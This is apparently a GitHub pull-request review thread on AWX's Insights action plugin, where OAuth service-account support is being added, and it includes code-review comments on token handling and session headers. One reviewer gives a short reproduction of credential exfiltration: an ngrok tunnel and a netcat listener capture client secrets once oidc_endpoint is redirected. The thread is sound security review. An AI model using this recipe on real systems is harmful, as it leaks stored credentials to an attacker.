-
Notifications
You must be signed in to change notification settings - Fork 3.5k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
feat: update insights action plugin to handle oauth #15742
Conversation
6f073a8
to
3ad58a7
Compare
|
||
session = requests.Session() | ||
if authentication == 'service_account' or (client_id and client_secret): | ||
self._obtain_auth_token(oidc_endpoint, client_id, client_secret, result) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't love passing the dict result
into _obtain_auth_token()
. Instead, can _obtain_auth_token
return a tuple (token_type, token)
or None
.
Right now, with result
passed in and being returned from the module, I'm thinking the result['token']
might can end up in the Ansible output long with msg
. We wouldn't want that behavior.
headers = { | ||
'Content-Type': 'application/json', | ||
'User-Agent': '{} {} ({})'.format('AWX' if license == 'open' else 'Red Hat Ansible Automation Platform', awx_version, license), | ||
} | ||
|
||
session = requests.Session() |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Extra Credit.
Instead of explicitly passing headers=
everywhere, save headers to the session. Looks like missed passing headers in a get below.
session.headers.update({
'Content-Type': 'application/json',
'User-Agent': '{} {} ({})'.format('AWX' if license == 'open' else 'Red Hat Ansible Automation Platform', awx_version, license),
})
...
session.headers.update({
'Authorization': f'{result['token_type']} {result['token']}'
})
awx/playbooks/project_update.yml
Outdated
client_id: "{{ client_id | default(omit) }}" | ||
client_secret: "{{ client_secret | default(omit) }}" | ||
authentication: "{{ authentication | default(omit) }}" | ||
oidc_endpoint: "{{ oidc_endpoint | default(omit) }}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd actually advocate against this. If a user has permission to edit a project update then they can, effectively, ex-filtrate the credentials by settings oidc_endpoint
to an http server under their control.
Try it out yourself.
Steps to recreate
ngrok http 8081
<-- copy the Forwarding url i.e. https://aa-xx-yy-zz-qq.ngrok-free.appnc -k -l 8081
<-- start a socket server.oidc_endpoint: https://aa-xx-yy-zz-qq.ngrok-free.app
<-- set to ngrok- Run project update
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So, would it be adviseable then to hardcode the URL in the code? Or is the oidc_endpoint
going to be available without having to add it to the project_update.yml
because it is a default value of the insights collection?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't see any way a user could influence the setting of oidc_endpoint
in project_update.yml
- insights credential does not contain an
oidc_endpoint
input nor output - you can't pass
extra_vars
to project updates - scm credential associated with a project has no concept of
oidc_endpoint
My vote is to delete the line oidc_endpoint: "{{ oidc_endpoint | default(omit) }}"
from project_update.yml
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think I'm wrong. I see your other PR to add INSIGHTS_OIDC_ENDPOINT
. That is the right way to do it. oidc_endpoint: "{{ oidc_endpoint | default(omit) }}"
needs to be put back into this PR.
With AWX's threat model the AWX superuser (someone who has access to the underlying host OS or awx settings file) is considered trusted. That is the only person who can change INSIGHTS_OIDC_ENDPOINT
. That person can already get the credentials stored in the database 1,000 other ways than settings INSIGHTS_OIDC_ENDPOINT
to their own server like I described above.
Functionally looks good 👍 has all the pieces I would expect. Left feedback around security. |
3ad58a7
to
a5f3b80
Compare
a5f3b80
to
3c326eb
Compare
SUMMARY
Add support for the
service_account
login type for the insights action plugin. First, get the valid authentication URL from the configured OIDC endpoint, then get the token for all API calls to the insights URL.ISSUE TYPE
COMPONENT NAME
AWX VERSION
ADDITIONAL INFORMATION
Implementation based in the RH Developer docs from the Insights API as well as the current implementation to obtain the token from Ansible Collection for Insights